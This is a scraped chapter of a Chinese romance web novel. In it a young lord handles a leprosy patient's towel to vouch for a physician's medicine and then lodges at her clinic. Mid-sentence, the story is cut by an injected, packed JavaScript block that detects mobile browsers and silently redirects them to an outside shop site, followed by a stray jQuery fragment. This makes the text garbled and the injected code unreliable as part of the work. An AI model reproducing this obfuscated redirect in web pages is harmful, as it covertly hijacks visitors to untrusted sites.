36. 第 36 章
    明晃晃的阳光下,谢挽洲高大的身躯罩在她上方,将刺眼的光线挡住,刀刻似的五官凝着寒意。

    沈灼华愕然:“你过来做什么?”

    谢挽洲变脸似的扬眉,一笑:“看戏啊。”

    “这里没你的事,快进去。”

    “你是在担心我生事?”谢挽洲含着笑意,微微低下头,“还是担心我出事?”

    “……”沈灼华在心里翻了个白眼。

    她是担心这张脸让人认出来,给她带来不必要的麻烦。

    “谢,谢世子!”褐衣胖子好像认识谢挽洲,惊声叫了出来。

    沈灼华:“……”

    简直担心什么,来什么。

    谢挽洲转过头去,笑的更加温和:“原来你认识本世子啊。”

    “不,不认识。”褐衣男子连忙摇头,但眼睛里躲闪出卖了他。

    围观的人中有人大声惊呼:“谢世子,可是魏国公……那个号称‘上京小霸王’的谢世子?”

    “眼下长安城里,姓谢的世子还能有谁?”

    “他怎么会在这里?”

    “听说谢世子之前不知何故断了双腿,是露神医给治好的。”

    谢挽洲将沈灼华往后拽了一步,侧身挡在她身前,盯着褐衣胖子,似笑非笑。

    “是你说——”他目光垂下,落在近在咫尺的腥臭汗巾上,皱眉,“只要碰了这东西,再喝下预防方,就能证明露娘子的预防方是真的?”

    褐衣胖子不知道谢挽洲要干什么,紧张地咽了咽口水,想要收回自己的话,又怕坏了计划,只能硬着头皮说:“……是,是……”

    就在众人以为谢挽洲还要说什么时,谢挽洲的手突然毫无预兆地抓起棍子上的汗巾。

    “世,世……”

    褐衣胖子目眦尽裂。

    众人瞠目结舌。

    沈灼华花容失色。

    “你做什么?”沈灼华反手抓住谢挽洲的手腕,用力向地上抖了抖。

    谢挽洲不松手。

    沈灼华急道:“快丢下啊!”

    谢挽洲依旧不松手,只是笑着对她说:“他们不信你,我信你。”

    “你!”沈灼华望着他,心里突突直跳。

    谢挽洲看向褐衣胖子:“这下,可满意?”

    褐衣胖子呆呆瞪着谢挽洲的手,扑通一下跪在地上,面色死灰。

    完了,完了,谢世子可是安阳大长公主的儿子,一旦他感染上了疠风,安阳大长公主一定不会放过他的,他死定了。

    谢挽洲这才张开五指,丢掉了汗巾,继而翻过自己的手看了看,语气随意地问沈灼华。

    “如果感染上疠风多久会发作?”

    沈灼华低头看着谢挽洲的手,心里五味杂陈。

    “快则五日,迟则十日。”

    谢挽洲冲着众人扬起手,朗声喊道:“十日后,我谢挽洲依旧会在此地……恭候大家,一切自会见分晓。”

    起初,是一片诡异的死寂。

    片刻后,有人激动地喊:

    “他可是谢世子啊,他都不怕……可见露神医的药一定有效。”

    “世子金尊玉贵,怎么可能拿自己的性命开玩笑,这药,一定是真的,露神医菩萨心肠,她是不会害我们的。”

    “是啊是啊,有世子担保我还怕什么,我相信世子,更相信露神医,这药给我来一份。”

    “我也要,我也要……”

    “别挤啊……”

    也是顷刻间,众人又将她奉为神明。

    沈灼华拉着谢挽洲就往患坊里走,一面冲里面喊:“紫苏,快拿艾水过来。”

    紫苏忙端着一盆浑黄的药水迎上来。

    沈灼华闷不做声地拉着谢挽洲的手腕,将他的手杵进铜盆中,摁着不动。

    谢挽洲问:“我帮了你,你不开心吗?”

    沈灼华抬起头就冲他恶声恶气地说:“谁让你插手的!”

    谢挽洲一愣。

    这哪里是在帮她的忙,分明是在害她。

    谢挽洲在众目睽睽下,碰了那件疠风病患的汗巾,用不了多久卫臻就会知道此事。卫臻本来就警告过她,要她离谢挽洲远一些,如今谢挽洲因为她,可能会患上人人谈之色变的疠风,那卫臻还不活剐了她。

    沈灼华深吸了一口气:“我自己的事情我自己会解决,不需要外人帮忙。”

    “好一个外人,很好。”

    谢挽洲冷笑着将手从她手里抽出来,转身向门外走去。

    “你去哪儿?”

    “自然是……”谢挽洲头也不回地说,“滚远一点。”

    谢挽洲步履决然地继续向前走。

    沈灼华看着谢挽洲腿,想起他方才躺在担架上时的样子,这才反应过来自己又被他骗了。

    走了正好,她才懒得管他。

    忽然,谢挽洲半跪在了地上,低着头,双肩隐隐颤抖。

    沈灼华迟疑了一下,想了想,还是走了过去,瞥见谢挽洲鬓边豆大的汗珠顺着下颌流下去,神色顿时一变,忙蹲下挽起谢挽洲的裤腿。

    膝盖处,高高肿起。

    谢挽洲没骗她,他的腿真受伤了,方才应该是强撑着出来的。

    她动作轻柔地放下裤管,嗔怪:“不能走就不要逞强,膝盖都肿了。”

    谢挽洲咬牙,目光倔强:“我自找的,我认。”

    沈灼华叹了口气:“你现在还不能走,需要留下来观察十日。”他碰了那条汗巾,极有可能会被传染上疠风,他必须留在自己的眼皮子底下,方便她随时诊断。

    谢挽洲反唇相讥:“你不是说你这里庙小,容不下我这尊大佛?”

    他总是这样,不肯吃半点亏,一如前世,他总是能把她气的够呛。

    沈灼华忍不住眯眼,磨牙:“谢挽洲,你不要得寸进尺。”方才是谁,死皮赖脸的想要留下来复健的?

    谢挽洲怔了怔,润泽的眼睛紧紧盯了她一会儿。

    这似曾相识的感觉……又来了。

    旋即,他低低笑了一声。

    “你以下犯上的样子……”谢挽洲微微倾身,将脸凑到沈灼华耳畔,一字一顿地说,“我甚是喜欢。”

    沈灼华:“……”

    有病!

    反应过来被谢挽洲给调戏了,沈灼华起身就走。

    走到一半,顿住。

    叹了口气,又转身折回去。

    不情不愿地朝着谢挽洲伸手。

    “还愣着干嘛,想在这里跪到地老天荒啊!”

    谢挽洲笑笑不说话,拉住沈灼华的手,借力站起。

    但不走。

    沈灼华明白过来,不情不愿地将肩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097016|134610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    膀靠过去。

    谢挽洲满意地将手臂搭在她肩上,一颠一簸地朝着后院走。

    沈灼华搀扶着谢挽洲来到一处房门外,腾出一只手去推门。

    “你就住这儿。”这间房是最近才收拾出来的,以防上次像徐霁白那样,客人来了无处居住,没想到这么快就被谢挽洲给用上了。

    谢挽洲看了里面一眼,问:“你住哪儿?”

    “我住在对面。”沈灼华扭头朝对面扬了扬下巴。

    “那我要住你隔壁那间。”

    “隔壁那间是杂房。”

    “那我还是回我的国公府吧。”说罢,佯装转身。

    沈灼华磨牙:“……我立马收拾出来。”

    谢挽洲笑了:“我现在累了,想躺下。”

    “你先去云昭房里歇一……”

    谢挽洲皱眉打断:“臭!”

    沈灼华没听清:“什么?”

    “一股臭儒生的味道,我不喜欢。”

    沈灼华柳眉倒竖,撒手叉腰道:“你到底想怎样?那也不行,这也不喜欢。”

    谢挽洲说:“我要睡你房间。”

    “你!”沈灼华气噎。

    谢挽洲望着她,目光坚决。

    沈灼华深吸了一口气,这个祖宗是她留下来的,她忍。

    她眯眼,咬牙切齿地盯着谢挽洲,警告:“只能睡榻。”

    谢挽洲扬眉:“只要是你的房间,睡哪儿都行。”

    沈灼华只好又将谢挽洲带到自己的房中。

    谢挽洲四下打量着,脸上没什么表情。

    沈灼华道:“怎么,失望了吧,我这里简陋又窄小,自然比不上世子华丽的寝卧。”

    谢挽洲忽然回头,目光闪过促狭的光:“你若喜欢我的寝卧,我也可以同你换。”

    沈灼华愣了下,下意识问:“怎么换?”

    “我可以把你的寝卧布置的……同我的,一模一样。”

    又是那种嚣张又欠揍的语气。

    “无聊!”

    沈灼华转身就走。

    临到门口,沈灼华顿了顿,回身问:“你,为何……帮我?”她都那样赶他走,疏远他,他竟然还愿意帮她涉险。

    谢挽洲看着她,挑眉:“我乐意。”

    他如今这样子,颇有当年的几分嚣张风采。

    沈灼华抿了一下唇,静静地注视着谢挽洲的脸,那是一张曾经见了就牙疼,如今却格外顺眼的脸,眉藏远山,目敛星辉,鼻如悬胆,薄唇精致,越看越耐看,越看越好看的脸。

    他难道不知……如果患上疠风,就会毁了这张俊美容颜?

    “你不怕吗?”

    “怕什么?”

    “患了疠风,你这张脸就毁了。”

    谢挽洲不答反问:“你很在乎?”

    “这是你的脸,又不是我的,我在乎个什么。”

    “既然你不在乎……”谢挽洲弯唇一笑,语气无所谓地说,“岂不是毁了正好,反正也不会有人在乎。”

    又是这样自暴自弃的态度,难道失去了一个苏枕月对于谢挽洲而言,就什么都不重要了吗?

    想当年,他在外人面前,可是恨不得将他那张孔雀脸渡上一层金,让世人供起来。

    她想说点什么,想了想,又说不出什么,便转身去隔壁收拾房间。